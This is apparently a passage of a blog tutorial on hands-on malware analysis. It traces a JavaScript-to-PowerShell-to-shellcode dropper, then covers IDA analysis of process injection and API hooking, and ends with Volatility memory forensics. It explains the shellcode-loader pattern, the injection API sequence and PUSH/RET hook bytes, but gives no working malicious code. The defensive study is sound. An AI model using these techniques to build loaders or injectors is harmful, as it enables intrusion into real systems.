&lt;pre class="highlight shell"&gt;&lt;code&gt;js &lt;span class="nt"&gt;-f&lt;/span&gt; /usr/share/remnux/objects.js &lt;span class="nt"&gt;-f&lt;/span&gt; script.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This threw an "illegal character" error — the script was UTF-16 encoded, which SpiderMonkey can't parse directly. Fix the encoding first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings &lt;span class="nt"&gt;--encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;l script.js &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; script2.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(&lt;code&gt;-l&lt;/code&gt; here is lowercase &lt;strong&gt;L&lt;/strong&gt;, not the number 1 — easy typo to make.)&lt;/p&gt;

&lt;p&gt;Then deobfuscate properly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;js &lt;span class="nt"&gt;-f&lt;/span&gt; /usr/share/remnux/objects.js &lt;span class="nt"&gt;-f&lt;/span&gt; script2.js &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; script3.js
scite script3.js &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The deobfuscated script revealed a call resembling &lt;code&gt;[Convert]::FromBase64String&lt;/code&gt;, with the decoded result handed off to &lt;code&gt;powershell.exe&lt;/code&gt; — meaning the JavaScript's whole job was to decode and launch a Base64-encoded PowerShell stage.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 6 — Pull the Base64 PowerShell payload out
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;base64dump.py script3.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This lists every candidate Base64 blob found, each with an ID. Look in the &lt;strong&gt;Decoded&lt;/strong&gt; column for the largest entry that decodes into readable ASCII — that's almost always the real payload, as opposed to short incidental Base64-looking noise.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;base64dump.py script3.js &lt;span class="nt"&gt;-s&lt;/span&gt; 10 &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; script.ps1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(&lt;code&gt;-s 10&lt;/code&gt; selects that specific entry's ID — yours will likely be a different number.)&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 7 — Read the PowerShell, understand the shellcode loader pattern
&lt;/h3&gt;

&lt;p&gt;Transfer &lt;code&gt;script.ps1&lt;/code&gt; back to Windows and open in Notepad++. The pattern here is a textbook shellcode loader:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A variable (&lt;code&gt;$sc32&lt;/code&gt;) holds hex-encoded shellcode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;VirtualAlloc&lt;/code&gt; allocates memory with &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The shellcode bytes are copied into that memory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;CreateThread&lt;/code&gt; is called, pointing at the shellcode's address, to execute it&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Recognizing this pattern is genuinely useful — it shows up constantly across unrelated malware families because it's the simplest way to run raw shellcode from a scripting language.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 8 — Extract the raw shellcode with a debugger breakpoint
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;powershell_ise script.ps1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set a breakpoint on the line right after &lt;code&gt;$sc32&lt;/code&gt; is assigned (before &lt;code&gt;$pr&lt;/code&gt; gets defined), run to it (Debug → Run/Continue), then once paused, dump the variable's contents to a raw binary file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;io.file&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;WriteAllBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'sc32.bin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$sc32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now you have the raw shellcode isolated in its own file, ready for dedicated shellcode analysis tools.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 5: Shellcode Analysis and Unpacking
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — Quick emulation pass with scdbg
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;scdbg.exe &lt;span class="nt"&gt;-f&lt;/span&gt; sc32.bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(Or via the GUI: load the file, leave default options, click Launch.) &lt;code&gt;scdbg&lt;/code&gt; emulates the shellcode's likely API calls without actually executing it dangerously. Here it showed the code loading &lt;code&gt;advapi32.dll&lt;/code&gt; and calling &lt;code&gt;RegOpenKeyExA&lt;/code&gt; against both &lt;code&gt;HKEY_LOCAL_MACHINE&lt;/code&gt; and &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt; — useful, but it didn't reveal which specific registry keys were targeted.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Run it for real (carefully) with jmp2it
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jmp2it sc32.bin 0x0 pause
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;0x0&lt;/code&gt; means the shellcode starts at offset zero in the file. The &lt;code&gt;pause&lt;/code&gt; argument makes &lt;code&gt;jmp2it&lt;/code&gt; insert an infinite loop &lt;em&gt;before&lt;/em&gt; jumping into the shellcode, buying you time to attach a debugger before anything actually runs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Attach a debugger and patch the entry condition
&lt;/h3&gt;

&lt;p&gt;Attach &lt;strong&gt;x32dbg&lt;/strong&gt; to the &lt;code&gt;jmp2it&lt;/code&gt; process, run briefly, then pause — you'll land inside the infinite loop &lt;code&gt;jmp2it&lt;/code&gt; created. The shellcode in this case expected a parameter (its own memory address) to be pushed onto the stack before it starts, mimicking how the PowerShell loader called it via &lt;code&gt;CreateThread&lt;/code&gt;. Since &lt;code&gt;jmp2it&lt;/code&gt; happens to store that address in the &lt;code&gt;EDI&lt;/code&gt; register, you can satisfy that expectation by patching the infinite-loop instruction:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Select the loop instruction, press &lt;strong&gt;spacebar&lt;/strong&gt; to open the Assemble dialog&lt;/li&gt;
&lt;li&gt;Enable "Fill with NOPs"&lt;/li&gt;
&lt;li&gt;Type the replacement instruction:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;push edi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This single patched instruction is what lets the shellcode run as if it had been called the same way the original loader called it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Trace API usage with a breakpoint
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SetBPX advapi32.RegOpenKeyExA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run (&lt;code&gt;F9&lt;/code&gt;) to hit it, then check the &lt;strong&gt;Call Stack&lt;/strong&gt; tab for the first frame that isn't inside a Windows DLL — that's the shellcode's own calling code. Following that call stack entry back into the disassembler showed, a short distance later, a call to &lt;code&gt;VirtualAlloc&lt;/code&gt; — a strong hint that this shellcode unpacks &lt;em&gt;another&lt;/em&gt; payload into memory, just like the outer executable did.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — Dump the unpacked second-stage payload
&lt;/h3&gt;

&lt;p&gt;Set a breakpoint on &lt;code&gt;VirtualAlloc&lt;/code&gt; itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SetBPX VirtualAlloc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The pattern that emerged from hitting this breakpoint multiple times:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1st hit, after return:&lt;/strong&gt; allocated memory is empty (all zeros)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2nd hit, after return:&lt;/strong&gt; memory now has &lt;em&gt;some&lt;/em&gt; content — code ran between calls and started populating it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;3rd hit:&lt;/strong&gt; the memory now contains strings consistent with a Windows executable (an actual embedded PE file)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each time, right-clicking &lt;code&gt;EAX&lt;/code&gt; (which holds the returned memory address) → &lt;strong&gt;Follow in Dump → Dump 1/Dump 2&lt;/strong&gt; lets you watch that specific memory region fill in over successive breakpoint hits.&lt;/p&gt;

&lt;p&gt;Once the third allocation showed clear PE-file characteristics, right-click that dump pane → &lt;strong&gt;Follow in Memory Map&lt;/strong&gt;, then right-click the corresponding row → &lt;strong&gt;Dump Memory to File&lt;/strong&gt;. That gives you a final extracted executable, ready to load into PeStudio to confirm it's a structurally valid PE file with imports and strings.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 6: Code Injection Analysis (Static, with IDA)
&lt;/h2&gt;

&lt;p&gt;Switching specimens here — a sample that injects code into other running processes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — Find the CreateRemoteThread call
&lt;/h3&gt;

&lt;p&gt;In IDA, jump to the &lt;strong&gt;Imports&lt;/strong&gt; tab and locate &lt;code&gt;CreateRemoteThread&lt;/code&gt;. Double-click it, then in the disassembler view, select it and press &lt;code&gt;x&lt;/code&gt; to bring up cross-references. This shows every place in the code that calls this function.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Trace backward from the call to find the source process handle
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;CreateRemoteThread&lt;/code&gt; takes a process handle (&lt;code&gt;hProcess&lt;/code&gt;) as a parameter. Tracing that register backward through the disassembly led to a call to &lt;code&gt;OpenProcess&lt;/code&gt; — the function that obtains a handle to an existing process by PID. This is the classic injection setup: get a handle to a target process, then create a thread inside it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Find where the payload gets written into the target
&lt;/h3&gt;

&lt;p&gt;A separate function call (visible just before the &lt;code&gt;CreateRemoteThread&lt;/code&gt; call, taking the same process handle as a parameter) turned out to contain calls to &lt;code&gt;WriteProcessMemory&lt;/code&gt; — the actual mechanism for placing code into another process's address space.&lt;/p&gt;

&lt;p&gt;A useful shortcut here: rather than manually walking every function called from that one, IDA's &lt;strong&gt;View → Graphs → Xrefs from&lt;/strong&gt; generates a call graph showing everything reachable from a given function. That graph surfaced exactly which sub-function calls &lt;code&gt;VirtualAllocEx&lt;/code&gt; — the memory allocation step that has to happen in the &lt;em&gt;target&lt;/em&gt; process before you can write to it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Confirm the allocation permissions
&lt;/h3&gt;

&lt;p&gt;At the &lt;code&gt;VirtualAllocEx&lt;/code&gt; call site, the &lt;code&gt;flProtect&lt;/code&gt; parameter being pushed was &lt;code&gt;0x40&lt;/code&gt;. Right-clicking that value in IDA and choosing &lt;strong&gt;"Use standard symbolic constant"&lt;/strong&gt; reveals it as &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt; — memory that can be written to &lt;em&gt;and&lt;/em&gt; executed. That combination, allocated in someone else's process, is the textbook signature of code injection intent.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — Find how the target process gets chosen
&lt;/h3&gt;

&lt;p&gt;Walking back further up the call chain (using IDA's back-arrow navigation) led to a function that calls &lt;code&gt;CreateToolhelp32Snapshot&lt;/code&gt;, which — combined with &lt;code&gt;Process32FirstW&lt;/code&gt;/&lt;code&gt;Process32NextW&lt;/code&gt; — is the standard Windows API trio for enumerating every running process. That's the malware searching for a suitable target before injecting into it.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function called&lt;/th&gt;
&lt;th&gt;Role in the injection chain&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;CreateToolhelp32Snapshot&lt;/code&gt; + &lt;code&gt;Process32FirstW/NextW&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Enumerate running processes to pick a target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OpenProcess&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Get a handle to the chosen target process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VirtualAllocEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allocate executable+writable memory inside the target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WriteProcessMemory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Write the payload into that allocated memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateRemoteThread&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Start execution of the injected code&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Part 7: API Hooking Analysis (Static, with IDA)
&lt;/h2&gt;

&lt;p&gt;Same specimen, different capability: modifying other functions in memory so calls to them get redirected.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — Find where it reads existing code (to back it up before overwriting)
&lt;/h3&gt;

&lt;p&gt;Following cross-references to &lt;code&gt;ReadProcessMemory&lt;/code&gt; (same Imports-tab → xrefs approach as before) led to a function that reads memory from a target process — almost always the first step before &lt;em&gt;overwriting&lt;/em&gt; something, since you typically want to preserve the original bytes you're about to clobber.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Find where it writes the hook
&lt;/h3&gt;

&lt;p&gt;The same function later calls &lt;code&gt;WriteProcessMemory&lt;/code&gt; twice, with two different byte patterns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One write starts with byte &lt;code&gt;0xE9&lt;/code&gt; — the opcode for a relative &lt;code&gt;JMP&lt;/code&gt; instruction&lt;/li&gt;
&lt;li&gt;Another write starts with &lt;code&gt;0x68&lt;/code&gt; (the start of a &lt;code&gt;PUSH&lt;/code&gt; instruction), paired with a &lt;code&gt;0xC3&lt;/code&gt; (&lt;code&gt;RET&lt;/code&gt;) written five bytes later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The second pattern — &lt;code&gt;PUSH&lt;/code&gt; followed by &lt;code&gt;RET&lt;/code&gt; — is a sneakier alternative to a plain &lt;code&gt;JMP&lt;/code&gt; for redirecting execution, since it doesn't look like an obvious jump instruction at a glance.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Find the table of targeted functions
&lt;/h3&gt;

&lt;p&gt;Walking the call chain upward (xrefs again) eventually reaches a function that builds a table of function addresses — saving various API addresses into memory, one after another, to be passed as the list of functions to hook. The functions referenced there were largely browser-related, suggesting the malware's actual goal: intercepting and observing the victim's web browsing activity.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 8: Memory Forensics with Volatility
&lt;/h2&gt;

&lt;p&gt;Final piece: instead of analyzing a live process or a static file, this works from a memory snapshot (&lt;code&gt;.vmem&lt;/code&gt;) captured from an already-infected machine.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — Identify the right profile
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol.py &lt;span class="nt"&gt;-f&lt;/span&gt; great.vmem kdbgscan | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This suggests one or more candidate OS profiles. The &lt;em&gt;first&lt;/em&gt; suggestion isn't guaranteed to be correct — try it, and if Volatility throws errors like &lt;code&gt;"need base"&lt;/code&gt; or &lt;code&gt;"No Base Address Space"&lt;/code&gt;, that profile doesn't match and you move to the next candidate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol.py &lt;span class="nt"&gt;-f&lt;/span&gt; great.vmem &lt;span class="nt"&gt;--profile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Win10x86 pslist
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once a profile returns clean, readable process output instead of errors, lock it in for the rest of the session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;VOLATILITY_PROFILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Win10x86
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;pslist&lt;/code&gt; output itself is worth scanning closely here — a process with an unusual, non-standard-looking name stood out immediately as worth investigating further.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Pull command-line history and dump suspicious process memory
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol.py &lt;span class="nt"&gt;-f&lt;/span&gt; great.vmem cmdline | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This surfaced a &lt;code&gt;cmd.exe&lt;/code&gt; invocation running a batch file out of &lt;code&gt;%Temp%&lt;/code&gt; with a randomized filename — code running from the Temp folder with a random name is a strong red flag on its own.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol.py &lt;span class="nt"&gt;-f&lt;/span&gt; great.vmem memdump &lt;span class="nt"&gt;-p&lt;/span&gt; &amp;lt;PID&amp;gt; &lt;span class="nt"&gt;-D&lt;/span&gt; /tmp
strings /tmp/&amp;lt;PID&amp;gt;.dmp | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-B3&lt;/span&gt; &lt;span class="nt"&gt;-A3&lt;/span&gt; &amp;lt;batch-filename&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The surrounding strings matched typical batch-file syntax — consistent with a self-deleting cleanup script (delete the dropped executable, then delete itself), a very common malware self-cleanup pattern.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Find injected code across the whole memory image
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol.py &lt;span class="nt"&gt;-f&lt;/span&gt; great.vmem malfind &lt;span class="nt"&gt;-D&lt;/span&gt; /tmp &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; malfind.txt
scite malfind.txt &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;malfind&lt;/code&gt; scans the entire memory image for telltale signs of injected code (executable memory regions with suspicious characteristics, frequently starting with the &lt;code&gt;MZ&lt;/code&gt; signature of a PE header) and dumps each one it finds. In this case it flagged several legitimate-looking processes — explorer.exe and a couple of others — as containing injected PE content, each at a different memory address. Several of the dumped files were exactly the same size, hinting they're likely the same payload injected repeatedly into different processes.&lt;/p&gt;

&lt;p&gt;A quick static check on one of those dumped files with a couple of additional command-line tools (string extraction, automated triage) turned up the same suspicious indicators seen earlier — references to a known risky DLL associated with silent file downloads, and string patterns matching the cleanup batch file extracted earlier. That overlap is good corroborating evidence that this is the same malware family operating across multiple injected processes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Confirm hooked functions with apihooks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol.py &lt;span class="nt"&gt;-f&lt;/span&gt; great.vmem apihooks &lt;span class="nt"&gt;-p&lt;/span&gt; &amp;lt;PID&amp;gt; &lt;span class="nt"&gt;--skip-kernel&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; apihooks.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scrolling past the IAT-based entries (commonly false positives) to the first &lt;strong&gt;Inline/Trampoline&lt;/strong&gt; entry revealed a hooked &lt;code&gt;ntdll.dll!LdrLoadDll&lt;/code&gt;, patched with the same &lt;code&gt;PUSH&lt;/code&gt;/&lt;code&gt;RET&lt;/code&gt; redirection technique identified earlier via static analysis — confirming that what was theorized from the binary alone is actually happening at runtime, in memory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — Connect the hook target back to an extracted dump
&lt;/h3&gt;

&lt;p&gt;The hook redirected execution to a small address range. Using &lt;code&gt;pslist&lt;/code&gt; again to find the &lt;em&gt;virtual offset&lt;/em&gt; of the specific process being investigated let me narrow down, among all the files &lt;code&gt;malfind&lt;/code&gt; had extracted, which one's address range actually encompassed that hook target — confirming exactly which extracted memory dump contains the code the hijacked function jumps into.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Verify Your Work
&lt;/h2&gt;

&lt;p&gt;A checklist for confirming each major milestone in this kind of analysis:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] &lt;strong&gt;Packed?&lt;/strong&gt; Confirm via at least two independent signals (unusual section names + entropy, or + reduced imports/strings) before concluding a file is packed&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Unpacked successfully?&lt;/strong&gt; The dumped file should show &lt;em&gt;more&lt;/em&gt; imports and strings than the packed version — but also try actually running it; a clean static profile doesn't guarantee a runnable binary&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;OEP correct?&lt;/strong&gt; After jumping to a suspected OEP, confirm via string references and intermodular call references — both should increase noticeably compared to the packed view&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Shellcode extracted correctly?&lt;/strong&gt; Run it through an emulator (&lt;code&gt;scdbg&lt;/code&gt;) first before live-running it, even in an isolated VM&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Injection confirmed?&lt;/strong&gt; Look for the full chain — process enumeration, handle acquisition, RWX memory allocation, memory write, remote thread creation — not just one piece in isolation&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Hooking confirmed?&lt;/strong&gt; Cross-check static findings (IDA) against live/memory evidence (Volatility's &lt;code&gt;apihooks&lt;/code&gt;) when both are available&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Memory artifacts make sense together?&lt;/strong&gt; File sizes, address ranges, and process offsets from different Volatility plugins (&lt;code&gt;malfind&lt;/code&gt;, &lt;code&gt;apihooks&lt;/code&gt;, &lt;code&gt;pslist&lt;/code&gt;) should agree with each other&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;A few things stuck with me after this session:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Automated unpackers fail more often than they succeed against real malware&lt;/strong&gt;, because authors specifically anticipate and break them. Knowing the manual debugger-based path (find OEP → breakpoint → dump → fix IAT) isn't optional knowledge, it's the default expectation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A successful technical unpack doesn't always mean a fully functional standalone binary.&lt;/strong&gt; I had a moment where the "fixed" dump loaded better in PeStudio but still didn't run correctly — that gap between "looks unpacked" and "behaves correctly" is a distinction I won't forget.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multi-stage droppers chain together completely different technology stacks specifically to break single-tool analysis.&lt;/strong&gt; JavaScript → PowerShell → shellcode means no one tool sees the whole picture; you have to follow the thread through three completely different toolchains (SpiderMonkey, then Notepad++/PowerShell ISE, then a shellcode debugger).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The same low-level techniques (RWX memory, PUSH/RET redirection) show up again and again across unrelated samples.&lt;/strong&gt; Once you've pattern-matched the code injection sequence once (enumerate → open → allocate → write → thread), you start recognizing it instantly elsewhere.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Static analysis and memory forensics genuinely complement each other.&lt;/strong&gt; IDA told me &lt;em&gt;what the code is capable of&lt;/em&gt;; Volatility told me &lt;em&gt;that it actually did it&lt;/em&gt;, on a real infected system. Neither alone gives you the full confidence the combination does.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Common Mistakes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mistake&lt;/th&gt;
&lt;th&gt;Why It Happens&lt;/th&gt;
&lt;th&gt;How to Avoid It&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Assuming UPX (or any packer) can always be unpacked with the standard tool&lt;/td&gt;
&lt;td&gt;Authors deliberately corrupt headers to break generic unpackers&lt;/td&gt;
&lt;td&gt;Always have a manual debugger-based fallback ready&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forgetting to disable ASLR before debugging&lt;/td&gt;
&lt;td&gt;Default behavior on modern Windows&lt;/td&gt;
&lt;td&gt;Run &lt;code&gt;setdllcharacteristics -d&lt;/code&gt; (or equivalent) before setting breakpoints by address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trusting a dumped file just because PeStudio shows more imports&lt;/td&gt;
&lt;td&gt;More imports indicates &lt;em&gt;partial&lt;/em&gt; success, not full functional correctness&lt;/td&gt;
&lt;td&gt;Actually try running the dumped/fixed binary, and watch for expected side effects (dropped files, registry changes)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Using &lt;code&gt;strings&lt;/code&gt; without &lt;code&gt;--encoding=l&lt;/code&gt; on UTF-16 obfuscated scripts&lt;/td&gt;
&lt;td&gt;Many obfuscation toolkits output UTF-16 by default&lt;/td&gt;
&lt;td&gt;If a deobfuscator throws an encoding/illegal-character error, check the source encoding first&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Picking the wrong Base64 blob from a dump tool's output&lt;/td&gt;
&lt;td&gt;Obfuscated scripts often contain several short, irrelevant Base64-looking strings&lt;/td&gt;
&lt;td&gt;Sort by decoded size and check for actual readable ASCII content in the decode preview&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trying the first Volatility profile suggestion and giving up if it errors&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;kdbgscan&lt;/code&gt; often suggests multiple plausible profiles&lt;/td&gt;
&lt;td&gt;Treat profile errors as informative, not blocking — try the next suggested profile&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Treating IAT hook entries from &lt;code&gt;apihooks&lt;/code&gt; as real hooks&lt;/td&gt;
&lt;td&gt;IAT-style entries are common false positives in Volatility's hook detection&lt;/td&gt;
&lt;td&gt;Specifically look for "Inline/Trampoline" hook type entries, which are far more reliable indicators&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Analyzing shellcode by directly running it without emulating first&lt;/td&gt;
&lt;td&gt;Skips a safe verification step&lt;/td&gt;
&lt;td&gt;Run through &lt;code&gt;scdbg&lt;/code&gt; (emulation) before live execution, even in an isolated VM&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Going from "this file is packed" to "I understand exactly how it injects code, hooks APIs, and what it left behind in memory" took a genuinely long chain of tools and techniques — and that's honestly the most realistic takeaway here. Real malware analysis is rarely a single tool giving you a single clean answer. It's PeStudio pointing you toward a hypothesis, a debugger confirming it, IDA explaining the &lt;em&gt;why&lt;/em&gt;, and Volatility proving it actually happened on a real system.&lt;/p&gt;

&lt;p&gt;If you're working through similar material, my biggest piece of advice is: don't skip the verification steps. It's tempting to declare victory the moment a tool produces &lt;em&gt;some&lt;/em&gt; output, but the real confidence comes from cross-checking — static findings against dynamic behavior, debugger observations against memory forensics, one tool's output against another's.&lt;/p&gt;

&lt;p&gt;If you found this useful, I'm planning to keep documenting more of this kind of hands-on analysis work — let me know in the comments if there's a specific technique here you'd like a deeper dive into.&lt;/p&gt;

</description>
      <category>malwareanalysis</category>
      <category>cybersecurity</category>
    </item>
